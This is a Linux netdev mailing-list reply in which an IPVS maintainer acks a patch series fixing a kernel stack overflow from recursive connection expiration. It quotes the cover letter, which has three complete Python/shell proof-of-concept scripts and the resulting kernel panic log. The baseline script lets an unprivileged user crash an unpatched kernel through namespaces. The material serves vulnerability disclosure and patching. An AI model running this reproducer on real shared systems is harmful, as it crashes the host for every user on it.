Netdev List
 help / color / mirror / Atom feed
From: Julian Anastasov <ja@ssi.bg>
To: Zihan Xi <zihanx@nebusec.ai>
Cc: netdev@vger.kernel.org, lvs-devel@vger.kernel.org,
	netfilter-devel@vger.kernel.org, horms@verge.net.au,
	pablo@netfilter.org, fw@strlen.de, phil@nwl.cc
Subject: Re: [PATCH nf v5 0/3] ipvs: avoid stack overflow from recursive connection expiration
Date: Fri, 25 Sep 2026 21:05:53 +0300 (EEST)	[thread overview]
Message-ID: <7b921113-ec18-baac-83eb-119178e28d93@ssi.bg> (raw)
In-Reply-To: <cover.1790266803.git.zihanx@nebusec.ai>


	Hello,

On Fri, 25 Sep 2026, Zihan Xi wrote:

> Hi Linux kernel maintainers,
> 
> We found and validated an issue in
> net/netfilter/ipvs/ip_vs_ftp.c and net/netfilter/ipvs/ip_vs_conn.c. The
> bug is reachable by a non-root user via a user namespace and a network
> namespace.
> We've tested it, and it should not affect any other functionality.
> 
> This series contains 3 patches:
> 
>   1/3 Fix the timer callback race during IPVS connection deletion.
>   2/3 Replace recursive controller expiration with an iterative cleanup
>       path.
>   3/3 Reject zero and configured FTP control ports as data ports.

	Thank you very much for working on the patchset!
All 3 patches look ok, the first patch has my SOB line,
so this is for patches 2-3 to add:

Signed-off-by: Julian Anastasov <ja@ssi.bg>

	For now the AI review is ok:

https://sashiko.dev/#/patchset/cover.1790266803.git.zihanx%40nebusec.ai

> We will provide detailed information about the bug
> in this email, along with PoCs to trigger it.
> 
> ---- details below ----
> 
> Bug details:
> 
> The trigger entry point is ip_vs_ftp_out() in
> net/netfilter/ipvs/ip_vs_ftp.c. It parses an EPSV reply from the real
> server and creates a wildcard data connection from the advertised port.
> The baseline PoC uses port 21, the default FTP control port.
> ip_vs_conn_new() then binds the FTP helper to the new connection again.
> Because the child has IP_VS_CONN_F_NO_CPORT, the next connection from the
> same client to the VIP on port 21 matches the wildcard child instead of
> creating a new top-level entry.
> Repeating EPSV builds a controlled-connection chain.
> 
> The active-mode entry point, ip_vs_ftp_in(), has the same chain-building
> condition when the derived data port is a configured control port. The
> data connection's virtual port is derived from cp->vport - 1. With
> ports={21,20}, the derived port is 20, so ip_vs_conn_new() can bind the
> FTP helper again.
> 
> The FTP entry points are in ip_vs_ftp.c, but the stack-overflow root cause
> is in the generic cleanup path in ip_vs_conn.c. When a controlled
> connection expires, ip_vs_conn_expire() can delete and expire its
> controller. The old path can then call ip_vs_conn_expire() recursively. A
> long controlled-connection chain can exhaust the kernel stack. The
> reproduced failure occurs during network namespace teardown, but the
> cleanup bug is in the generic controller-chain path, not a teardown-only
> special case.
> 
> Patch 1 prevents a connection from being unlinked while a concurrent timer
> callback can still use it. It revalidates n_control and timer state after
> excluding the connection from traffic, and gives a concurrent callback
> another chance when deletion does not own the timer. The deletion and
> controller-chain walk stay under RCU while the timer-callback race is
> handled.
> 
> Patch 2 continues expiration with the controller after the current
> connection has been fully cleaned up instead of recursively calling the
> expiration path. The cleanup remains synchronous while using one stack
> frame for the whole chain. The iteration also switches the controller to
> deletion mode and preserves the timer-callback handling from patch 1.
> 
> Patch 3 rejects zero and configured FTP control ports before creating
> passive data connections in ip_vs_ftp_out(), covering both PASV and EPSV.
> It also rejects a zero active-mode client port and a data port
> derived from a configured control port in ip_vs_ftp_in(). Valid data ports
> continue through the existing path.
> 
> The recursive-cleanup root cause was introduced by
> f9200a52eedf ("ipvs: avoid expiring many connections from timer"). The FTP
> helper's acceptance of a configured control port is a separate root-cause
> fact, introduced by 1da177e4c3f4 ("Linux-2.6.12-rc2"). These are different
> root-cause facts, so the fixes use separate Fixes: tags.
> 
> Reproducer:
> 
> The reproducers are shell scripts with embedded Python. The baseline
> reproducer was run as follows:
> 
>     SELF_UNSHARE=1 MODE=exit ./poc-original.sh 400
> 
> The fixed passive-mode run was:
> 
>     SELF_UNSHARE=1 MODE=exit ./poc.sh 200
> 
> The active-mode run used this complete kernel command line:
> 
>     root=/dev/sda rw console=ttyS0 earlyprintk=serial net.ifnames=0 biosdevname=0 nokaslr panic_on_warn=0 oops=panic systemd.mask=sys-kernel-config.mount systemd.mask=systemd-remount-fs.service systemd.unit=multi-user.target ip_vs_ftp.ports=21,20
> 
> and this command:
> 
>     SELF_UNSHARE=1 MODE=exit ./poc-active.sh 1
> 
> The active-mode validation used depth 1 to check the configured-port
> guard; it was not used as a deeper chain stress test.
> 
> packetdrill was not used because the trigger requires namespace creation,
> the legacy IPVS sockopt ABI, a cooperating TCP server, and namespace
> teardown. packetdrill cannot express that complete control-plane setup and
> lifetime on its own.
> 
> We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
> 
> The baseline was built from 70194dc37670
> (7.3.0-rc2-g70194dc37670). The baseline PoC exited with status 0 and
> reported 401 IPVS entries after building 400 controlled connections. The
> baseline namespace teardown produced the decoded KASAN report below.
> 
> The passive PoC ran on the v4 kernel and exited with status 0,
> reporting:
> 
>     built 200 connections
>     rejected control-port replies: 200/200
>     ip_vs_conn entries before trigger: 200
>     passive data connections created: 0
>     exiting namespace holder
> 
> The active-mode validation also ran on the v4 kernel and exited with
> status 0, reporting:
> 
>     built 1 connections
>     ip_vs_conn entries before trigger: 1
>     derived data connections created: 0
>     exiting namespace holder
> 
> The fixed passive and active runs produced no KASAN, BUG, Oops, kernel
> panic, stack-guard, or general-protection diagnostics. The baseline run
> produced the crash during namespace teardown. The crash excerpt below is
> copied from the decoded baseline report; unrelated boot output, registers,
> and disassembly are omitted.
> 
> Reproducer source files:
> 
> ------BEGIN poc-original.sh------
> #!/bin/sh
> set -eu
> 
> DEPTH="${1:-400}"
> MODE="${MODE:-exit}"
> SELF_UNSHARE="${SELF_UNSHARE:-0}"
> 
> if [ "${SELF_UNSHARE}" = "1" ] && [ -z "${POC_INNER:-}" ]; then
> 	exec env POC_INNER=1 MODE="${MODE}" SELF_UNSHARE=0 \
> 		unshare -Urn -- "$0" "${DEPTH}"
> fi
> 
> ulimit -n 65535 2>/dev/null || true
> 
> IP=/usr/sbin/ip
> PYTHON=/usr/bin/python3
> 
> VIP=198.51.100.1
> REAL=198.51.100.2
> CLIENT=198.51.100.3
> PORT=21
> 
> "${IP}" link set lo up
> "${IP}" addr add "${VIP}/32" dev lo 2>/dev/null || true
> "${IP}" addr add "${REAL}/32" dev lo 2>/dev/null || true
> "${IP}" addr add "${CLIENT}/32" dev lo 2>/dev/null || true
> 
> exec "${PYTHON}" - "${DEPTH}" "${MODE}" "${VIP}" "${REAL}" "${CLIENT}" "${PORT}" <<'PY'
> import ctypes
> import os
> import socket
> import sys
> import threading
> import time
> 
> depth = int(sys.argv[1])
> mode = sys.argv[2]
> vip = sys.argv[3]
> real = sys.argv[4]
> client_ip = sys.argv[5]
> port = int(sys.argv[6])
> 
> ready = threading.Event()
> server_error = []
> client_error = []
> accepted = []
> clients = []
> 
> IP_VS_BASE_CTL = 64 + 1024 + 64
> IP_VS_SO_SET_ADD = IP_VS_BASE_CTL + 2
> IP_VS_SO_SET_FLUSH = IP_VS_BASE_CTL + 5
> IP_VS_SO_SET_ADDDEST = IP_VS_BASE_CTL + 7
> 
> 
> class Svc(ctypes.Structure):
>     _fields_ = [
>         ("protocol", ctypes.c_uint16),
>         ("addr", ctypes.c_uint32),
>         ("port", ctypes.c_uint16),
>         ("fwmark", ctypes.c_uint32),
>         ("sched_name", ctypes.c_char * 16),
>         ("flags", ctypes.c_uint),
>         ("timeout", ctypes.c_uint),
>         ("netmask", ctypes.c_uint32),
>     ]
> 
> 
> class Dest(ctypes.Structure):
>     _fields_ = [
>         ("addr", ctypes.c_uint32),
>         ("port", ctypes.c_uint16),
>         ("conn_flags", ctypes.c_uint),
>         ("weight", ctypes.c_int),
>         ("u_threshold", ctypes.c_uint32),
>         ("l_threshold", ctypes.c_uint32),
>     ]
> 
> 
> def native_u32(ip):
>     return int.from_bytes(socket.inet_aton(ip), sys.byteorder)
> 
> 
> def ipvs_sock():
>     return socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
> 
> 
> def ipvs_flush():
>     s = ipvs_sock()
>     try:
>         s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_FLUSH, b"")
>     finally:
>         s.close()
> 
> 
> def ipvs_add_service():
>     svc = Svc()
>     svc.protocol = socket.IPPROTO_TCP
>     svc.addr = native_u32(vip)
>     svc.port = socket.htons(port)
>     svc.fwmark = 0
>     svc.sched_name = b"rr"
>     svc.flags = 0
>     svc.timeout = 0
>     svc.netmask = 0
> 
>     s = ipvs_sock()
>     try:
>         s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_ADD, bytes(svc))
>     finally:
>         s.close()
>     return svc
> 
> 
> def ipvs_add_dest(svc):
>     dest = Dest()
>     dest.addr = native_u32(real)
>     dest.port = socket.htons(port)
>     dest.conn_flags = 0
>     dest.weight = 1
>     dest.u_threshold = 0
>     dest.l_threshold = 0
> 
>     s = ipvs_sock()
>     try:
>         s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_ADDDEST, bytes(svc) + bytes(dest))
>     finally:
>         s.close()
> 
> 
> def recv_line(sock):
>     data = bytearray()
>     while not data.endswith(b"\n"):
>         chunk = sock.recv(1)
>         if not chunk:
>             raise RuntimeError("unexpected EOF")
>         data.extend(chunk)
>     return bytes(data)
> 
> 
> def server():
>     try:
>         srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>         srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
>         srv.bind((real, port))
>         srv.listen(depth + 16)
>         ready.set()
>         for i in range(depth):
>             conn, addr = srv.accept()
>             conn.sendall(b"220 ready\r\n")
>             line = recv_line(conn)
>             if b"EPSV" not in line.upper():
>                 raise RuntimeError(f"unexpected request on level {i}: {line!r}")
>             conn.sendall(b"229 Entering Extended Passive Mode (|||21|)\r\n")
>             accepted.append(conn)
>         while True:
>             time.sleep(1)
>     except BaseException as exc:
>         server_error.append(repr(exc))
>         ready.set()
> 
> 
> try:
>     try:
>         ipvs_flush()
>     except OSError:
>         pass
>     service = ipvs_add_service()
>     ipvs_add_dest(service)
> except OSError as exc:
>     raise SystemExit(f"ipvs setup failed: {exc}")
> 
> 
> threading.Thread(target=server, daemon=True).start()
> ready.wait()
> if server_error:
>     raise SystemExit(f"server failed early: {server_error[0]}")
> 
> for i in range(depth):
>     try:
>         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>         s.bind((client_ip, 0))
>         s.connect((vip, port))
>         banner = recv_line(s)
>         if not banner.startswith(b"220 "):
>             raise RuntimeError(f"unexpected banner on level {i}: {banner!r}")
>         s.sendall(b"EPSV\r\n")
>         reply = recv_line(s)
>         if b"229 " not in reply:
>             raise RuntimeError(f"unexpected EPSV reply on level {i}: {reply!r}")
>         clients.append(s)
>         if (i + 1) % 50 == 0 or i + 1 == depth:
>             print(f"built {i + 1} connections", flush=True)
>     except BaseException as exc:
>         client_error.append(repr(exc))
>         break
> 
> if client_error:
>     raise SystemExit(f"client failed: {client_error[0]}")
> if server_error:
>     raise SystemExit(f"server failed: {server_error[0]}")
> 
> try:
>     with open("/proc/net/ip_vs_conn", "r", encoding="utf-8", errors="replace") as f:
>         conn_lines = sum(1 for _ in f) - 1
> except OSError:
>     conn_lines = -1
> 
> print(f"ip_vs_conn entries before trigger: {conn_lines}", flush=True)
> 
> if mode == "hold":
>     while True:
>         time.sleep(1)
> elif mode == "flush":
>     ipvs_flush()
>     print("IPVS flush returned", flush=True)
>     while True:
>         time.sleep(1)
> elif mode == "exit":
>     print("exiting namespace holder", flush=True)
>     sys.stdout.flush()
>     os._exit(0)
> else:
>     raise SystemExit(f"unknown MODE={mode!r}")
> PY
> ------END poc-original.sh--------
> 
> ------BEGIN poc.sh------
> #!/bin/sh
> set -eu
> 
> DEPTH="${1:-400}"
> MODE="${MODE:-exit}"
> SELF_UNSHARE="${SELF_UNSHARE:-0}"
> 
> if [ "${SELF_UNSHARE}" = "1" ] && [ -z "${POC_INNER:-}" ]; then
> 	exec env POC_INNER=1 MODE="${MODE}" SELF_UNSHARE=0 \
> 		unshare -Urn -- "$0" "${DEPTH}"
> fi
> 
> ulimit -n 65535 2>/dev/null || true
> 
> IP=/usr/sbin/ip
> PYTHON=/usr/bin/python3
> 
> VIP=198.51.100.1
> REAL=198.51.100.2
> CLIENT=198.51.100.3
> PORT=21
> 
> "${IP}" link set lo up
> "${IP}" addr add "${VIP}/32" dev lo 2>/dev/null || true
> "${IP}" addr add "${REAL}/32" dev lo 2>/dev/null || true
> "${IP}" addr add "${CLIENT}/32" dev lo 2>/dev/null || true
> 
> exec "${PYTHON}" - "${DEPTH}" "${MODE}" "${VIP}" "${REAL}" "${CLIENT}" "${PORT}" <<'PY'
> import ctypes
> import os
> import socket
> import sys
> import threading
> import time
> 
> depth = int(sys.argv[1])
> mode = sys.argv[2]
> vip = sys.argv[3]
> real = sys.argv[4]
> client_ip = sys.argv[5]
> port = int(sys.argv[6])
> 
> ready = threading.Event()
> server_error = []
> client_error = []
> accepted = []
> clients = []
> rejected = 0
> 
> IP_VS_BASE_CTL = 64 + 1024 + 64
> IP_VS_SO_SET_ADD = IP_VS_BASE_CTL + 2
> IP_VS_SO_SET_FLUSH = IP_VS_BASE_CTL + 5
> IP_VS_SO_SET_ADDDEST = IP_VS_BASE_CTL + 7
> 
> 
> class Svc(ctypes.Structure):
>     _fields_ = [
>         ("protocol", ctypes.c_uint16),
>         ("addr", ctypes.c_uint32),
>         ("port", ctypes.c_uint16),
>         ("fwmark", ctypes.c_uint32),
>         ("sched_name", ctypes.c_char * 16),
>         ("flags", ctypes.c_uint),
>         ("timeout", ctypes.c_uint),
>         ("netmask", ctypes.c_uint32),
>     ]
> 
> 
> class Dest(ctypes.Structure):
>     _fields_ = [
>         ("addr", ctypes.c_uint32),
>         ("port", ctypes.c_uint16),
>         ("conn_flags", ctypes.c_uint),
>         ("weight", ctypes.c_int),
>         ("u_threshold", ctypes.c_uint32),
>         ("l_threshold", ctypes.c_uint32),
>     ]
> 
> 
> def native_u32(ip):
>     return int.from_bytes(socket.inet_aton(ip), sys.byteorder)
> 
> 
> def ipvs_sock():
>     return socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
> 
> 
> def ipvs_flush():
>     s = ipvs_sock()
>     try:
>         s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_FLUSH, b"")
>     finally:
>         s.close()
> 
> 
> def ipvs_add_service():
>     svc = Svc()
>     svc.protocol = socket.IPPROTO_TCP
>     svc.addr = native_u32(vip)
>     svc.port = socket.htons(port)
>     svc.fwmark = 0
>     svc.sched_name = b"rr"
>     svc.flags = 0
>     svc.timeout = 0
>     svc.netmask = 0
> 
>     s = ipvs_sock()
>     try:
>         s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_ADD, bytes(svc))
>     finally:
>         s.close()
>     return svc
> 
> 
> def ipvs_add_dest(svc):
>     dest = Dest()
>     dest.addr = native_u32(real)
>     dest.port = socket.htons(port)
>     dest.conn_flags = 0
>     dest.weight = 1
>     dest.u_threshold = 0
>     dest.l_threshold = 0
> 
>     s = ipvs_sock()
>     try:
>         s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_ADDDEST, bytes(svc) + bytes(dest))
>     finally:
>         s.close()
> 
> 
> def recv_line(sock):
>     data = bytearray()
>     while not data.endswith(b"\n"):
>         chunk = sock.recv(1)
>         if not chunk:
>             raise RuntimeError("unexpected EOF")
>         data.extend(chunk)
>     return bytes(data)
> 
> 
> def server():
>     try:
>         srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>         srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
>         srv.bind((real, port))
>         srv.listen(depth + 16)
>         ready.set()
>         for i in range(depth):
>             conn, addr = srv.accept()
>             conn.sendall(b"220 ready\r\n")
>             line = recv_line(conn)
>             if b"EPSV" not in line.upper():
>                 raise RuntimeError(f"unexpected request on level {i}: {line!r}")
>             conn.sendall(b"229 Entering Extended Passive Mode (|||21|)\r\n")
>             accepted.append(conn)
>         while True:
>             time.sleep(1)
>     except BaseException as exc:
>         server_error.append(repr(exc))
>         ready.set()
> 
> 
> try:
>     try:
>         ipvs_flush()
>     except OSError:
>         pass
>     service = ipvs_add_service()
>     ipvs_add_dest(service)
> except OSError as exc:
>     raise SystemExit(f"ipvs setup failed: {exc}")
> 
> 
> threading.Thread(target=server, daemon=True).start()
> ready.wait()
> if server_error:
>     raise SystemExit(f"server failed early: {server_error[0]}")
> 
> for i in range(depth):
>     try:
>         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>         s.bind((client_ip, 0))
>         s.connect((vip, port))
>         banner = recv_line(s)
>         if not banner.startswith(b"220 "):
>             raise RuntimeError(f"unexpected banner on level {i}: {banner!r}")
>         s.sendall(b"EPSV\r\n")
>         s.settimeout(0.2)
>         try:
>             reply = recv_line(s)
>         except socket.timeout:
>             rejected += 1
>             print(f"control-port reply rejected on level {i}", flush=True)
>         else:
>             raise RuntimeError(
>                 f"control-port reply was not rejected on level {i}: {reply!r}"
>             )
>         clients.append(s)
>         if (i + 1) % 50 == 0 or i + 1 == depth:
>             print(f"built {i + 1} connections", flush=True)
>     except BaseException as exc:
>         client_error.append(repr(exc))
>         break
> 
> if client_error:
>     raise SystemExit(f"client failed: {client_error[0]}")
> if server_error:
>     raise SystemExit(f"server failed: {server_error[0]}")
> if rejected != depth:
>     raise SystemExit(f"expected {depth} rejected replies, got {rejected}")
> 
> try:
>     with open("/proc/net/ip_vs_conn", "r", encoding="utf-8", errors="replace") as f:
>         conn_lines = sum(1 for _ in f) - 1
> except OSError:
>     conn_lines = -1
> 
> print(f"rejected control-port replies: {rejected}/{depth}", flush=True)
> print(f"ip_vs_conn entries before trigger: {conn_lines}", flush=True)
> if conn_lines != depth:
>     raise SystemExit(
>         f"expected {depth} IPVS entries, got {conn_lines}; "
>         "a passive data connection was created"
>     )
> print(f"passive data connections created: {conn_lines - depth}", flush=True)
> 
> if mode == "hold":
>     while True:
>         time.sleep(1)
> elif mode == "flush":
>     ipvs_flush()
>     print("IPVS flush returned", flush=True)
>     while True:
>         time.sleep(1)
> elif mode == "exit":
>     print("exiting namespace holder", flush=True)
>     sys.stdout.flush()
>     os._exit(0)
> else:
>     raise SystemExit(f"unknown MODE={mode!r}")
> PY
> ------END poc.sh--------
> 
> ------BEGIN poc-active.sh------
> #!/bin/sh
> set -eu
> 
> DEPTH="${1:-400}"
> MODE="${MODE:-exit}"
> SELF_UNSHARE="${SELF_UNSHARE:-0}"
> 
> if [ "${SELF_UNSHARE}" = "1" ] && [ -z "${POC_INNER:-}" ]; then
> 	exec env POC_INNER=1 MODE="${MODE}" SELF_UNSHARE=0 \
> 		unshare -Urn -- "$0" "${DEPTH}"
> fi
> 
> ulimit -n 65535 2>/dev/null || true
> 
> IP=/usr/sbin/ip
> PYTHON=/usr/bin/python3
> 
> VIP=198.51.100.1
> REAL=198.51.100.2
> CLIENT=198.51.100.3
> PORT=21
> 
> "${IP}" link set lo up
> "${IP}" addr add "${VIP}/32" dev lo 2>/dev/null || true
> "${IP}" addr add "${REAL}/32" dev lo 2>/dev/null || true
> "${IP}" addr add "${CLIENT}/32" dev lo 2>/dev/null || true
> 
> exec "${PYTHON}" - "${DEPTH}" "${MODE}" "${VIP}" "${REAL}" "${CLIENT}" "${PORT}" <<'PY'
> import ctypes
> import os
> import socket
> import sys
> import threading
> import time
> 
> depth = int(sys.argv[1])
> mode = sys.argv[2]
> vip = sys.argv[3]
> real = sys.argv[4]
> client_ip = sys.argv[5]
> port = int(sys.argv[6])
> 
> ready = threading.Event()
> server_error = []
> client_error = []
> accepted = []
> clients = []
> 
> IP_VS_BASE_CTL = 64 + 1024 + 64
> IP_VS_SO_SET_ADD = IP_VS_BASE_CTL + 2
> IP_VS_SO_SET_FLUSH = IP_VS_BASE_CTL + 5
> IP_VS_SO_SET_ADDDEST = IP_VS_BASE_CTL + 7
> 
> 
> class Svc(ctypes.Structure):
>     _fields_ = [
>         ("protocol", ctypes.c_uint16),
>         ("addr", ctypes.c_uint32),
>         ("port", ctypes.c_uint16),
>         ("fwmark", ctypes.c_uint32),
>         ("sched_name", ctypes.c_char * 16),
>         ("flags", ctypes.c_uint),
>         ("timeout", ctypes.c_uint),
>         ("netmask", ctypes.c_uint32),
>     ]
> 
> 
> class Dest(ctypes.Structure):
>     _fields_ = [
>         ("addr", ctypes.c_uint32),
>         ("port", ctypes.c_uint16),
>         ("conn_flags", ctypes.c_uint),
>         ("weight", ctypes.c_int),
>         ("u_threshold", ctypes.c_uint32),
>         ("l_threshold", ctypes.c_uint32),
>     ]
> 
> 
> def native_u32(ip):
>     return int.from_bytes(socket.inet_aton(ip), sys.byteorder)
> 
> 
> def ipvs_sock():
>     return socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
> 
> 
> def ipvs_flush():
>     s = ipvs_sock()
>     try:
>         s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_FLUSH, b"")
>     finally:
>         s.close()
> 
> 
> def ipvs_add_service():
>     svc = Svc()
>     svc.protocol = socket.IPPROTO_TCP
>     svc.addr = native_u32(vip)
>     svc.port = socket.htons(port)
>     svc.fwmark = 0
>     svc.sched_name = b"rr"
>     svc.flags = 0
>     svc.timeout = 0
>     svc.netmask = 0
> 
>     s = ipvs_sock()
>     try:
>         s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_ADD, bytes(svc))
>     finally:
>         s.close()
>     return svc
> 
> 
> def ipvs_add_dest(svc):
>     dest = Dest()
>     dest.addr = native_u32(real)
>     dest.port = socket.htons(port)
>     dest.conn_flags = 0
>     dest.weight = 1
>     dest.u_threshold = 0
>     dest.l_threshold = 0
> 
>     s = ipvs_sock()
>     try:
>         s.setsockopt(socket.IPPROTO_IP, IP_VS_SO_SET_ADDDEST, bytes(svc) + bytes(dest))
>     finally:
>         s.close()
> 
> 
> def recv_line(sock):
>     data = bytearray()
>     while not data.endswith(b"\n"):
>         chunk = sock.recv(1)
>         if not chunk:
>             raise RuntimeError("unexpected EOF")
>         data.extend(chunk)
>     return bytes(data)
> 
> 
> def server():
>     try:
>         srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>         srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
>         srv.bind((real, port))
>         srv.listen(depth + 16)
>         ready.set()
>         for i in range(depth):
>             conn, addr = srv.accept()
>             conn.sendall(b"220 ready\r\n")
>             line = recv_line(conn)
>             if not line.upper().startswith(b"PORT "):
>                 raise RuntimeError(f"unexpected request on level {i}: {line!r}")
>             conn.sendall(b"200 PORT command successful\r\n")
>             accepted.append(conn)
>         while True:
>             time.sleep(1)
>     except BaseException as exc:
>         server_error.append(repr(exc))
>         ready.set()
> 
> 
> try:
>     try:
>         ipvs_flush()
>     except OSError:
>         pass
>     service = ipvs_add_service()
>     ipvs_add_dest(service)
> except OSError as exc:
>     raise SystemExit(f"ipvs setup failed: {exc}")
> 
> 
> threading.Thread(target=server, daemon=True).start()
> ready.wait()
> if server_error:
>     raise SystemExit(f"server failed early: {server_error[0]}")
> 
> for i in range(depth):
>     try:
>         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>         s.bind((client_ip, 0))
>         s.connect((vip, port))
>         banner = recv_line(s)
>         if not banner.startswith(b"220 "):
>             raise RuntimeError(f"unexpected banner on level {i}: {banner!r}")
>         s.sendall(b"PORT 198,51,100,3,4,1\r\n")
>         time.sleep(0.2)
>         clients.append(s)
>         if (i + 1) % 50 == 0 or i + 1 == depth:
>             print(f"built {i + 1} connections", flush=True)
>     except BaseException as exc:
>         client_error.append(repr(exc))
>         break
> 
> if client_error:
>     raise SystemExit(f"client failed: {client_error[0]}")
> if server_error:
>     raise SystemExit(f"server failed: {server_error[0]}")
> 
> try:
>     with open("/proc/net/ip_vs_conn", "r", encoding="utf-8", errors="replace") as f:
>         conn_lines = sum(1 for _ in f) - 1
> except OSError:
>     conn_lines = -1
> 
> print(f"ip_vs_conn entries before trigger: {conn_lines}", flush=True)
> if conn_lines != depth:
>     raise SystemExit(
>         f"expected {depth} IPVS entries, got {conn_lines}; "
>         "a derived data connection was created"
>     )
> print(f"derived data connections created: {conn_lines - depth}", flush=True)
> 
> if mode == "hold":
>     while True:
>         time.sleep(1)
> elif mode == "flush":
>     ipvs_flush()
>     print("IPVS flush returned", flush=True)
>     while True:
>         time.sleep(1)
> elif mode == "exit":
>     print("exiting namespace holder", flush=True)
>     sys.stdout.flush()
>     os._exit(0)
> else:
>     raise SystemExit(f"unknown MODE={mode!r}")
> PY
> ------END poc-active.sh--------
> 
> ----BEGIN crash log----
> [   40.621758] BUG: KASAN: stack-out-of-bounds in __unwind_start (arch/x86/kernel/unwind_orc.c:715)
> [   40.621785] Write of size 112 at addr ff11000007307e98 by task kworker/u8:0/12
> [   40.621785] 
> [   40.621785] CPU: 1 UID: 0 PID: 12 Comm: kworker/u8:0 Not tainted 7.3.0-rc2-g70194dc37670 #1 PREEMPT(lazy) 
> [   40.621785] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
> [   40.621785] Workqueue: netns cleanup_net
> [   40.621785] Call Trace:
> 
> [   40.951167] BUG: unable to handle page fault for address: ff11000011430ff4
> [   40.951167] #PF: supervisor instruction fetch in kernel mode
> [   40.951167] #PF: error_code(0x0011) - permissions violation
> [   40.951167] PGD 6f1e067 P4D 6f1f067 PUD 6f20067 PMD 80000000114001e3 
> [   40.951167] Thread overran stack, or stack corrupted
> [   40.951167] Oops: Oops: 0011 [#1] SMP KASAN NOPTI
> [   40.951167] CPU: 0 UID: 0 PID: 11 Comm: kworker/0:1 Tainted: G        W           7.3.0-rc2-g70194dc37670 #1 PREEMPT(lazy) 
> [   40.951167] Tainted: [W]=WARN
> [   40.951167] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
> [   40.951167] Workqueue:  0x0 (events_freezable_pwr_efficient)
> 
> [   40.951167] Call Trace:
> [   40.951167]  <TASK>
> [   40.951167]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
> [   40.951167]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
> [   40.951167]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
> [   40.951167]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
> [   40.951167]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
> [   40.951167]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
> [   40.951167]  ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375)
> [   40.951167]  ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5))
> [   40.951167]  </TASK>
> 
> [   40.951167] Kernel panic - not syncing: Fatal exception
> [   40.951167] Shutting down cpus with NMI
> [   40.951167] Kernel Offset: disabled
> [   40.951167] ---[ end Kernel panic - not syncing: Fatal exception ]---
> -----END crash log-----
> 
> changes in v5:
>   - Update the first patch with Julian Anastasov's v3 fix, restoring
>     the reference with refcount_set(&cp->refcnt, 1).
>   - v4 Link: https://lore.kernel.org/all/cover.1790146910.git.zihanx@nebusec.ai/
> changes in v4:
>   - Add Julian Anastasov's timer-callback deletion fix as patch 1,
>     including n_control revalidation.
>   - Rebase iterative controller cleanup on that fix and keep the
>     controller walk synchronous without recursive expiration.
>   - Resend the FTP helper checks as patch 3/3.
>   - v3 Link: https://lore.kernel.org/all/cover.1789877273.git.zihanx@nebusec.ai/
> changes in v3:
>   - Add the active-mode guard for configured FTP control ports.
>   - Handle the timer-callback race while keeping controller cleanup
>     iterative and synchronous.
>   - v2 Link: https://lore.kernel.org/all/cover.1789435989.git.zihanx@nebusec.ai/
> changes in v2:
>   - Replace recursive controller expiration with an iterative path.
>   - Add the FTP-helper checks for configured control ports.
>   - v1 Link: https://lore.kernel.org/all/cover.1789110326.git.zihanx@nebusec.ai/
> 
> 
> Best regards,
> Zihan Xi
> 
> Julian Anastasov (1):
>   ipvs: wait the running timer cb on conn deletion
> 
> Zihan Xi (2):
>   ipvs: avoid stack overflow from recursive connection expiration
>   ipvs: reject FTP control ports as data ports
> 
>  net/netfilter/ipvs/ip_vs_conn.c | 117 ++++++++++++++++++--------------
>  net/netfilter/ipvs/ip_vs_ftp.c  |  18 +++++
>  2 files changed, 85 insertions(+), 50 deletions(-)

Regards

--
Julian Anastasov <ja@ssi.bg>


  parent reply	other threads:[~2026-09-25 18:05 UTC|newest]

Thread overview: 9+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-09-25 16:40 [PATCH nf v5 0/3] ipvs: avoid stack overflow from recursive connection expiration Zihan Xi
2026-09-25 16:40 ` [PATCH nf v5 1/3] ipvs: wait the running timer cb on conn deletion Zihan Xi
2026-09-29 17:05   ` netdev-bot+sashiko
2026-09-25 16:40 ` [PATCH nf v5 2/3] ipvs: avoid stack overflow from recursive connection expiration Zihan Xi
2026-09-29 17:05   ` netdev-bot+sashiko
